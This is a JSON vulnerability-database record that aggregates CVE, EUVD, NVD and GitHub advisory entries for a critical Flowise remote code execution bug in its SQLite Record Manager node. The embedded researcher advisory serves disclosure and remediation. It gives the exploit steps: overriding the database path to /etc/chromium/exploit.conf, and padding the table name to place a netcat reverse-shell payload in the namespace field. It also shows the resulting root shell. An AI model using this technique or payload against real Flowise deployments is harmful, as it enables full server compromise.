{"id":"CVE-2026-69259","revision":null,"records":[{"revision":"a0be7e4d482b4516b457f82be98fa1f5","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-69259","aliases":[],"title":"Flowise RCE via SQLite Record Manager Node","description":"Flowise is a drag & drop user interface to build a customized large language model flow. Prior to 3.1.3, the SQLite Record Manager node in packages/components/nodes/recordmanager/SQLiteRecordManager/SQLiteRecordManager.ts accepted user-controlled additionalConfig and spread it after the intended database setting, allowing additionalConfig.database to overwrite the SQLite database path. An authenticated attacker using the published Docker image, which ran as root, could write a SQLite database to paths such as /etc/chromium/exploit.conf; by controlling the table name and namespace value, the attacker could place shell syntax into the database file and trigger execution when Puppeteer launched Chromium and sourced /etc/chromium/*.conf. This issue is fixed in version 3.1.3.","state":0,"publishedAt":"2026-08-04T16:05:19.426+00:00","modifiedAt":"2026-08-04T17:44:16.482+00:00","affected":[{"ecosystem":"Vendor product","name":"Flowise","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"FlowiseAI\",\n                    \"product\": \"Flowise\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 3.1.3\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","score":9.4,"severity":"CRITICAL"}],"references":["https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-x3hf-7cj6-3r4m","https://github.com/FlowiseAI/Flowise/pull/6464","https://github.com/FlowiseAI/Flowise/commit/d07186844263bad057008863037466aff7c3390f","https://github.com/FlowiseAI/Flowise/releases/tag/flowise@3.1.3"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-69259","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-69259","identifiers":["CVE-2026-69259"]},"retained":false,"historicalAffected":[]},{"revision":"346af9ee594e4822ab7265d1fc032b18","observedAt":"2026-11-07T14:21:36.828+00:00","statement":{"source":"euvd","id":"EUVD-2026-52765","aliases":["CVE-2026-69259","GHSA-x3hf-7cj6-3r4m"],"title":"Flowise is a drag & drop user interface to build a customized large language model flow. Prior to 3.1.3, the SQLite Record Manager node in packages/components/nodes/recordmanager/SQLiteRecordManager/SQLiteRecordManager.ts accepted user-cont…","description":"Flowise is a drag & drop user interface to build a customized large language model flow. Prior to 3.1.3, the SQLite Record Manager node in packages/components/nodes/recordmanager/SQLiteRecordManager/SQLiteRecordManager.ts accepted user-controlled additionalConfig and spread it after the intended database setting, allowing additionalConfig.database to overwrite the SQLite database path. An authenticated attacker using the published Docker image, which ran as root, could write a SQLite database to paths such as /etc/chromium/exploit.conf; by controlling the table name and namespace value, the attacker could place shell syntax into the database file and trigger execution when Puppeteer launched Chromium and sourced /etc/chromium/*.conf. This issue is fixed in version 3.1.3.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","score":9.4,"severity":null}],"references":["https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-x3hf-7cj6-3r4m","https://github.com/FlowiseAI/Flowise/pull/6464","https://github.com/FlowiseAI/Flowise/commit/d07186844263bad057008863037466aff7c3390f","https://github.com/FlowiseAI/Flowise/releases/tag/flowise@3.1.3"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-52765","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Aug 4, 2026, 4:05:19 PM","dateUpdated":"Aug 4, 2026, 5:44:16 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-52765","identifiers":["EUVD-2026-52765","CVE-2026-69259","GHSA-x3hf-7cj6-3r4m"]},"retained":false,"historicalAffected":[]},{"revision":"4aaaee3c24f140cf81fd00991f02c658","observedAt":"2026-10-25T15:18:51.467+00:00","statement":{"source":"nvd","id":"CVE-2026-69259","aliases":[],"title":"Flowise is a drag & drop user interface to build a customized large language model flow. Prior to 3.1.3, the SQLite Record Manager node in packages/components/nodes/recordmanager/SQLiteRecordManager/SQLiteRecordManager.ts accepted user-cont…","description":"Flowise is a drag & drop user interface to build a customized large language model flow. Prior to 3.1.3, the SQLite Record Manager node in packages/components/nodes/recordmanager/SQLiteRecordManager/SQLiteRecordManager.ts accepted user-controlled additionalConfig and spread it after the intended database setting, allowing additionalConfig.database to overwrite the SQLite database path. An authenticated attacker using the published Docker image, which ran as root, could write a SQLite database to paths such as /etc/chromium/exploit.conf; by controlling the table name and namespace value, the attacker could place shell syntax into the database file and trigger execution when Puppeteer launched Chromium and sourced /etc/chromium/*.conf. This issue is fixed in version 3.1.3.","state":0,"publishedAt":"2026-08-04T17:17:01.413+00:00","modifiedAt":"2026-10-24T16:10:00.153+00:00","affected":[],"metrics":[{"system":"CVSS 4.0 · security-advisories@github.com · Secondary","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","score":9.4,"severity":"CRITICAL"},{"system":"CVSS 3.1 · nvd@nist.gov · Primary","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","score":8.8,"severity":"HIGH"}],"references":["https://github.com/FlowiseAI/Flowise/commit/d07186844263bad057008863037466aff7c3390f","https://github.com/FlowiseAI/Flowise/pull/6464","https://github.com/FlowiseAI/Flowise/releases/tag/flowise@3.1.3","https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-x3hf-7cj6-3r4m"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-69259","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Analyzed","weaknesses":["CWE-94"],"productCriteria":["cpe:2.3:a:flowiseai:flowise:*:*:*:*:*:*:*:*"],"sourceDates":{"published":"2026-08-04T17:17:01.413","lastModified":"2026-10-24T16:10:00.153"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-69259","identifiers":["CVE-2026-69259"]},"retained":false,"historicalAffected":[]},{"revision":"005f1cd4f5444ed8930fdae650468b97","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-x3hf-7cj6-3r4m","aliases":["CVE-2026-69259"],"title":"Flowise RCE via SQLite Record Manager Node","description":"=============================================================================\n                                                            Security Advisory\n                                                                       elttam\n\nTopic:          Flowise RCE via SQLite Record Manager Node\n\nModule:         FlowiseAI/Flowise\nDisclosed:      24-Apr-2026\nCredits:        Alex Brown\nAffects:        `FlowiseAI/Flowise 3.1.2`\n\n# I.   Background\n\nFlowise AI is an open-source, low-code platform for building AI applications—such as chatbots, workflows, and autonomous agents—through an intuitive drag-and-drop interface, minimising the need for extensive coding.\n\nFlowise allows users to connect to a local SQLite database for record management of Upsert Vector Store operations.\n\n# II.  Problem Description\n\nThe database path for the \"SQLite Record Manager\" node could be overridden using the `additionalConfig` input, as demonstrated in the following code snippet.\n\n[https://github.com/FlowiseAI/Flowise/blob/flowise-components@3.1.2/packages/components/nodes/recordmanager/SQLiteRecordManager/SQLiteRecordManager.ts](https://github.com/FlowiseAI/Flowise/blob/flowise-components%403.1.2/packages/components/nodes/recordmanager/SQLiteRecordManager/SQLiteRecordManager.ts)\n```ts\nclass SQLiteRecordManager_RecordManager implements INode {\n    ...\n    async init(nodeData: INodeData, _: string, options: ICommonObject): Promise<any> {\n        const _tableName = nodeData.inputs?.tableName as string\n        const tableName = _tableName ? _tableName : 'upsertion_records'\n        const additionalConfig = nodeData.inputs?.additionalConfig as string <1>\n        const _namespace = nodeData.inputs?.namespace as string\n        const namespace = _namespace ? _namespace : options.chatflowid\n        const cleanup = nodeData.inputs?.cleanup as string\n        const _sourceIdKey = nodeData.inputs?.sourceIdKey as string\n        const sourceIdKey = _sourceIdKey ? _sourceIdKey : 'source'\n\n        let additionalConfiguration = {}\n        if (additionalConfig) {\n            try {\n                additionalConfiguration = typeof additionalConfig === 'object' ? additionalConfig : JSON.parse(additionalConfig)\n            } catch (exception) {\n                throw new Error('Invalid JSON in the Additional Configuration: ' + exception)\n            }\n        }\n\n        const database = path.join(process.env.DATABASE_PATH ?? path.join(getUserHome(), '.flowise'), 'database.sqlite') <2>\n\n        const sqliteOptions = {\n            database,\n            ...additionalConfiguration, <3>\n            type: 'sqlite'\n        }\n\n        const args = {\n            sqliteOptions,\n            tableName: tableName\n        }\n\n        const recordManager = new SQLiteRecordManager(namespace, args)\n\n        ;(recordManager as any).cleanup = cleanup\n        ;(recordManager as any).sourceIdKey = sourceIdKey\n\n        return recordManager\n    }\n}\n```\n<1> The `additionalConfig` input was user controllable.\n\n<2> The intended SQLite database path.\n\n<3> Keyword argument expansion of the `additionalConfiguration` variable after the `database` variable, which allows overwriting the preceding `database` setting.\n\nAn attacker could abuse this weakness to write an SQLite database to an arbitrary filepath, which includes system directories since the [`flowiseai/flowise:3.1.2`](https://hub.docker.com/layers/flowiseai/flowise/3.1.2/images/sha256-ddba104d8e50fbc1e72c6fe021d012be83e66d78d26816e1a6a3fddab4212eff) Docker image runs as `root`.\n\nHowever, unlike the [Flowise RCE via SQL Database Chain Node vulnerability](https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-pwfj-wh95-7mwp), the executed SQL query was not user controllable and the `tableName` input was validated to match the `/^[a-zA-Z0-9_]+$/` regex pattern, as shown in the following code snippet.\n\n[https://github.com/FlowiseAI/Flowise/blob/flowise-components@3.1.2/packages/components/nodes/recordmanager/SQLiteRecordManager/SQLiteRecordManager.ts](https://github.com/FlowiseAI/Flowise/blob/flowise-components%403.1.2/packages/components/nodes/recordmanager/SQLiteRecordManager/SQLiteRecordManager.ts)\n```ts\nclass SQLiteRecordManager implements RecordManagerInterface {\n    ...\n\n    sanitizeTableName(tableName: string): string {\n        // Trim and normalize case, turn whitespace into underscores\n        tableName = tableName.trim().toLowerCase().replace(/\\s+/g, '_')\n\n        // Validate using a regex (alphanumeric and underscores only)\n        if (!/^[a-zA-Z0-9_]+$/.test(tableName)) { <1>\n            throw new Error('Invalid table name')\n        }\n\n        return tableName\n    }\n\n    ...\n\n    async createSchema(): Promise<void> {\n        const dataSource = await this.getDataSource()\n        try {\n            const queryRunner = dataSource.createQueryRunner()\n            const tableName = this.sanitizeTableName(this.tableName) <1>\n\n            await queryRunner.manager.query(` <2>\nCREATE TABLE IF NOT EXISTS \"${tableName}\" (\n  uuid TEXT PRIMARY KEY DEFAULT (lower(hex(randomblob(16)))),\n  key TEXT NOT NULL,\n  namespace TEXT NOT NULL,\n  updated_at REAL NOT NULL,\n  group_id TEXT,\n  UNIQUE (key, namespace)\n);\nCREATE INDEX IF NOT EXISTS updated_at_index ON \"${tableName}\" (updated_at);\nCREATE INDEX IF NOT EXISTS key_index ON \"${tableName}\" (key);\nCREATE INDEX IF NOT EXISTS namespace_index ON \"${tableName}\" (namespace);\nCREATE INDEX IF NOT EXISTS group_id_index ON \"${tableName}\" (group_id);`)\n\n            // Add doc_id column if it doesn't exist (migration for existing tables)\n            const checkColumn = await queryRunner.manager.query(\n                `SELECT COUNT(*) as count FROM pragma_table_info('${tableName}') WHERE name='doc_id';`\n            )\n            if (checkColumn[0].count === 0) {\n                await queryRunner.manager.query(`ALTER TABLE \"${tableName}\" ADD COLUMN doc_id TEXT;`)\n                await queryRunner.manager.query(`CREATE INDEX IF NOT EXISTS doc_id_index ON \"${tableName}\" (doc_id);`)\n            }\n\n            await queryRunner.release()\n        } catch (e: any) {\n            // This error indicates that the table already exists\n            // Due to asynchronous nature of the code, it is possible that\n            // the table is created between the time we check if it exists\n            // and the time we try to create it. It can be safely ignored.\n            if ('code' in e && e.code === '23505') {\n                return\n            }\n            throw e\n        } finally {\n            await dataSource.destroy()\n        }\n    }\n\n    ...\n\n    async update(keys: Array<{ uid: string; docId: string }> | string[], updateOptions?: UpdateOptions): Promise<void> {\n        if (keys.length === 0) {\n            return\n        }\n        const dataSource = await this.getDataSource()\n        const queryRunner = dataSource.createQueryRunner()\n        const tableName = this.sanitizeTableName(this.tableName)\n\n        const updatedAt = await this.getTime()\n        const { timeAtLeast, groupIds: _groupIds } = updateOptions ?? {}\n\n        if (timeAtLeast && updatedAt < timeAtLeast) {\n            throw new Error(`Time sync issue with database ${updatedAt} < ${timeAtLeast}`)\n        }\n\n        // Handle both new format (objects with uid and docId) and old format (strings)\n        const isNewFormat = keys.length > 0 && typeof keys[0] === 'object' && 'uid' in keys[0]\n        const keyStrings = isNewFormat ? (keys as Array<{ uid: string; docId: string }>).map((k) => k.uid) : (keys as string[])\n        const docIds = isNewFormat ? (keys as Array<{ uid: string; docId: string }>).map((k) => k.docId) : keys.map(() => null)\n\n        const groupIds = _groupIds ?? keyStrings.map(() => null)\n\n        if (groupIds.length !== keyStrings.length) {\n            throw new Error(`Number of keys (${keyStrings.length}) does not match number of group_ids (${groupIds.length})`)\n        }\n\n        const recordsToUpsert = keyStrings.map((key, i) => [key, this.namespace, updatedAt, groupIds[i] ?? null, docIds[i] ?? null]) <3>\n\n        const query = `\n        INSERT INTO \"${tableName}\" (key, namespace, updated_at, group_id, doc_id)\n        VALUES (?, ?, ?, ?, ?)\n        ON CONFLICT (key, namespace) DO UPDATE SET updated_at = excluded.updated_at, doc_id = excluded.doc_id`\n\n        try {\n            // To handle multiple files upsert\n            for (const record of recordsToUpsert) {\n                // Consider using a transaction for batch operations\n                await queryRunner.manager.query(query, record.flat())\n            }\n            await queryRunner.release()\n        } catch (error) {\n            console.error('Error updating in SQLiteRecordManager:')\n            throw error\n        } finally {\n            await dataSource.destroy()\n        }\n    }\n    ...\n}\n```\n<1> Validates the `tableName` input matches the regex pattern `/^[a-zA-Z0-9_]+$/`.\n\n<2> The SQL command creating the database table, which is not user controllable.\n\n<3> The `this.namespace` is a user controllable input for the node.\n\nSince the allowed characters of the `tableName` input were restricted, it was not possible to utilise the same technique from [GHSA-pwfj-wh95-7mwp](https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-pwfj-wh95-7mwp) to comment out `()` characters within the SQLite database file that would cause a syntax error when executed as a shell script. To avoid this limitation, the binary structure of SQLite databases was investigated, where the following output shows the binary structure of the `doc_id_index` cell using the default `upsertion_records` table name.\n\n```\nBytes         Raw    Decoded\n──────────────────────────────────────────────────\n[3574:3575]   62     payload length = 98\n[3575:3576]   04     rowid = 4\n\n── Record Header ──────────────────────────────\n[3576:3577]   06     header length = 6\n[3577:3578]   17     col 0 = 23  → TEXT 5 bytes   ('index')\n[3578:3579]   25     col 1 = 37  → TEXT 12 bytes  ('doc_id_index')\n[3579:3580]   2f     col 2 = 47  → TEXT 17 bytes  ('upsertion_records') <1>\n[3580:3581]   01     col 3 = 1   → INT8 1 byte\n[3581:3582]   7f     col 4 = 127 → TEXT 57 bytes  (CREATE INDEX sql)\n\n── Record Body ────────────────────────────────\n[3582:3587]   696e646578     col 0 = 'index'\n[3587:3599]   646f635f69…    col 1 = 'doc_id_index'\n[3599:3616]   757073657274…  col 2 = 'upsertion_records'\n[3616:3617]   05             col 3 = 5  (root page = page 5)\n[3617:3674]   43524541544…   col 4 = 'CREATE INDEX doc_id_index ON \"upsertion_records\" (doc_id)'\n```\n<1> `\\x2f` serial type corresponds to a `TEXT` value that is 17 bytes long.\n\nThe length of the table name can be manipulated, and a serial type of `'` corresponds to a string that is 13 bytes long. The injected `'` could then be used to wrap the problematic `()` characters within the cell, which is then closed by the `namespace` input that also contains a reverse shell payload that is executed when Puppeteer launches a Chromium browser reading the malicious SQLite database from a `/etc/chromium/*.conf` file.\n\nThe following steps document the procedure to reproduce this issue:\n\n1. Import the following Chatflow and configure the OpenAI and Weaviate nodes. Observe that the `additionalConfig.database` input for the SQLite Record Manager node is set to `/etc/chromium/exploit.conf`, which is the destination the SQLite database will be created. The `tableName` input is set to `AAAAAAAAAAAAA`, so the encoded serial type of its length would be `'`, and the `namespace` is set to `'$(/usr/bin/nc 172.17.0.1 1337 -e /bin/sh)` to close the previous `'` and then use command substitution to execute a reverse shell payload. Perform an Upsert Vector Store operation and observe the SQLite database being created at `/etc/chromium/exploit.conf`.\n\n[sqlite-record-rce-poc.json](https://github.com/user-attachments/files/27053431/sqlite-record-rce-poc.json)\n\n2. Import the following Chatflow and perform an Upsert Vector Store operation. When Puppeteer is launched, it will execute `chromium-browser` that sources all `/etc/chromium/*.conf` files, triggering the reverse shell payload as shown in the following terminal output.\n\n[sqlite-sqlchain-puppeteer-trigger.json](https://github.com/user-attachments/files/27053441/sqlite-sqlchain-puppeteer-trigger.json)\n\n```terminal\n$ nc -lnvp 1337\nListening on 0.0.0.0 1337\nConnection received on 172.17.0.2 40677\nid\nuid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)\nps aux\nPID   USER     TIME  COMMAND\n    1 root      0:13 node /usr/local/bin/flowise start\n   18 root      0:00 [sh]\n   30 root      0:00 {chromium-browse} /bin/sh /usr/bin/chromium-browser --allow-pre-commit-input --disable-background-networking --disable-background-timer-throttling --disable-backgrounding-occluded-windows --disable-breakpad --disable-client-side-phishing-detection --disable-component-extensions-with-background-pages --disable-component-update --disable-default-apps --disable-dev-shm-usage --disable-features=Translate,BackForwardCache,AcceptCHFrame,MediaRouter,OptimizationHints --disable-hang-monitor --disable-ipc-flooding-protection --disable-popup-blocking --disable-prompt-on-repost --disable-renderer-backgrounding --disable-sync --enable-automation --enable-blink-features=IdleDetection --enable-features=NetworkServiceInProcess2 --export-tagged-pdf --force-color-profile=srgb --metrics-recording-only --no-first-run --password-store=basic --use-mock-keychain --headless=new --hide-scrollbars --mute-audio about:blank --no-sandbox --remote-debugging-port=0 --user-data-dir=/tmp/puppeteer_dev_chrome_profile-AnFBBC\n   31 root      0:00 /bin/sh\n   33 root      0:00 ps aux\n```\n \n# III. Impact\n\nAn authenticated user on a Flowise instance using the published Docker image could exploit this vulnerability to achieve RCE, resulting in full compromise of the application.\n\n# IV.  Solution\n\nConsider performing the following remediation activities:\n\n* Ensure that the `additionalConfig` input could not be abused to overwrite the `database` property to an arbitrary file path.\n\n* Use a low-privileged user for container runtimes instead of the privileged `root` user, since the `root` user has file access to the entire filesystem of the container.","state":0,"publishedAt":"2026-08-04T16:05:10+00:00","modifiedAt":"2026-08-04T16:26:02.691996+00:00","affected":[{"ecosystem":"npm","name":"flowise","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"3.1.3"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"npm","name":"flowise-components","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"3.1.3"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V4","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"CRITICAL"}],"references":["https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-x3hf-7cj6-3r4m","https://github.com/FlowiseAI/Flowise/pull/6464","https://github.com/FlowiseAI/Flowise/commit/d07186844263bad057008863037466aff7c3390f","https://github.com/FlowiseAI/Flowise","https://github.com/FlowiseAI/Flowise/releases/tag/flowise@3.1.3"],"sourceUrl":"https://github.com/advisories/GHSA-x3hf-7cj6-3r4m","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-x3hf-7cj6-3r4m","identifiers":["GHSA-x3hf-7cj6-3r4m","CVE-2026-69259"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-07T21:52:16.7895348+00:00","complete":true,"records":1769,"lastAttemptAt":"2026-11-07T21:52:16.7895348+00:00","lastSuccessAt":"2026-11-07T21:52:17.018923+00:00","error":null,"lastVerifiedAt":"2026-11-07T21:52:17.0189237+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-bb5c9d5a08063ef076042e33dd72a7d0ffa4c4487efdcf3106e29ba55ec2ad57-5978693a555a2fac0feee4f8e1cdc5e013b9a91b16046d4e34ae63a3d3db8d19","complete":true,"records":420947,"lastAttemptAt":"2026-11-07T21:52:16.4606105+00:00","lastSuccessAt":"2026-11-07T21:52:16.3995215+00:00","error":null,"lastVerifiedAt":"2026-11-07T21:52:16.4606105+00:00","snapshotPublishedAt":"2026-11-07T21:18:20+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-c91a0736a9624a48aebf081ca5dd86b2","complete":true,"records":13633,"lastAttemptAt":"2026-11-07T22:04:27.1191985+00:00","lastSuccessAt":"2026-11-07T22:04:27.115+00:00","error":null,"lastVerifiedAt":"2026-11-07T22:04:27.115+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13685,"expectedIdentifiers":13685,"failedIdentifiers":0},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-07T21:52:16.7895348+00:00","complete":true,"records":1096,"lastAttemptAt":"2026-11-07T21:52:16.7895348+00:00","lastSuccessAt":"2026-11-07T21:52:17.0199092+00:00","error":null,"lastVerifiedAt":"2026-11-07T21:52:17.0199095+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. 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